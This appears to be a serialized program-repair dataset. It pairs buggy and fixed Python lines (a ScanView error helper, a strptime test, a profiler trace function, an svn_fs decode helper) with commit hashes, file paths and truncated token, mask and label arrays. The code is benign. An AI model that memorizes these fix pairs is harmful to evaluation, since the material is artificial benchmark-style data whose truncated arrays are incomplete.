[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 389, 9010, 12, 2890, 16, 445, 16, 833, 16, 1205, 4672, 468, 478, 265, 349, 719, 77, 4641, 278, 443, 960, 656, 264, 2230, 1435, 3393, 2230, 67, 3810, 1435, 783, 548, 273, 17254, 18, 2...
def send_internal_error(self, message): return self.send_string('ERROR: %s'%(message,), 'text/plain')
def send_internal_error(self, message): return self.send_string('ERROR: %s'%(message,), 'text/plain')
e9a83a7eccc9ea39fb40a335c2f816a3846881b4 /local1/tlutelli/issta_data/temp/all_python//python/2008_temp/2008/11986/e9a83a7eccc9ea39fb40a335c2f816a3846881b4/ScanView.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 1366, 67, 7236, 67, 1636, 12, 2890, 16, 883, 4672, 327, 365, 18, 4661, 67, 1080, 2668, 3589, 30, 738, 87, 11, 17105, 2150, 16, 3631, 296, 955, 19, 7446, 6134, 2, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 1366, 67, 7236, 67, 1636, 12, 2890, 16, 883, 4672, 327, 365, 18, 4661, 67, 1080, 2668, 3589, 30, 738, 87, 11, 17105, 2150, 16, 3631, 296, 955, 19, 7446, 6134, 2, -100, -100, -100, -1...
format = ' %' + directive
format = '%' + directive strf_output = time.strftime(format, tt)
def test_strptime(self): tt = time.gmtime(self.t) for directive in ('a', 'A', 'b', 'B', 'c', 'd', 'H', 'I', 'j', 'm', 'M', 'p', 'S', 'U', 'w', 'W', 'x', 'X', 'y', 'Y', 'Z', '%'): format = ' %' + directive try: time.strptime(time.strftime(format, tt), format) except ValueError: self.fail('conversion specifier: %r failed.' % format)
0d7f3c37bbe6fda7bb44d3fed4ed123b35efc7c2 /local1/tlutelli/issta_data/temp/all_python//python/2006_temp/2006/12029/0d7f3c37bbe6fda7bb44d3fed4ed123b35efc7c2/test_time.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 1842, 67, 701, 10650, 12, 2890, 4672, 3574, 273, 813, 18, 75, 10838, 12, 2890, 18, 88, 13, 364, 8655, 316, 7707, 69, 2187, 296, 37, 2187, 296, 70, 2187, 296, 38, 2187, 296, 71, 2187,...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 1842, 67, 701, 10650, 12, 2890, 4672, 3574, 273, 813, 18, 75, 10838, 12, 2890, 18, 88, 13, 364, 8655, 316, 7707, 69, 2187, 296, 37, 2187, 296, 70, 2187, 296, 38, 2187, 296, 71, 2187,...
self.c_func_name = arg
self.c_func_name = repr(arg)
def trace_dispatch_l(self, frame, event, arg): get_time = self.get_time t = get_time() - self.t - self.bias
4bebed7f41d355b06ad80be190d79611a385cc7e /local1/tlutelli/issta_data/temp/all_python//python/2006_temp/2006/12029/4bebed7f41d355b06ad80be190d79611a385cc7e/profile.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 2606, 67, 10739, 67, 80, 12, 2890, 16, 2623, 16, 871, 16, 1501, 4672, 336, 67, 957, 273, 365, 18, 588, 67, 957, 268, 273, 336, 67, 957, 1435, 300, 365, 18, 88, 300, 365, 18, 13931,...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 2606, 67, 10739, 67, 80, 12, 2890, 16, 2623, 16, 871, 16, 1501, 4672, 336, 67, 957, 273, 365, 18, 588, 67, 957, 268, 273, 336, 67, 957, 1435, 300, 365, 18, 88, 300, 365, 18, 13931,...
"""Expect an UTF-8 encoded string and transform it to an `unicode` object"""
"""Expect an UTF-8 encoded string and transform it to an `unicode` object """
def _from_svn(path): """Expect an UTF-8 encoded string and transform it to an `unicode` object""" return path and path.decode('utf-8')
3dd37faa9ebf0aaf1d3a2ee519e52fb03d0756d0 /local1/tlutelli/issta_data/temp/all_python//python/2007_temp/2007/2831/3dd37faa9ebf0aaf1d3a2ee519e52fb03d0756d0/svn_fs.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 389, 2080, 67, 31505, 12, 803, 4672, 3536, 11988, 392, 6380, 17, 28, 3749, 533, 471, 2510, 518, 358, 392, 1375, 9124, 68, 733, 3536, 327, 589, 471, 589, 18, 3922, 2668, 3158, 17, 28, ...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 389, 2080, 67, 31505, 12, 803, 4672, 3536, 11988, 392, 6380, 17, 28, 3749, 533, 471, 2510, 518, 358, 392, 1375, 9124, 68, 733, 3536, 327, 589, 471, 589, 18, 3922, 2668, 3158, 17, 28, ...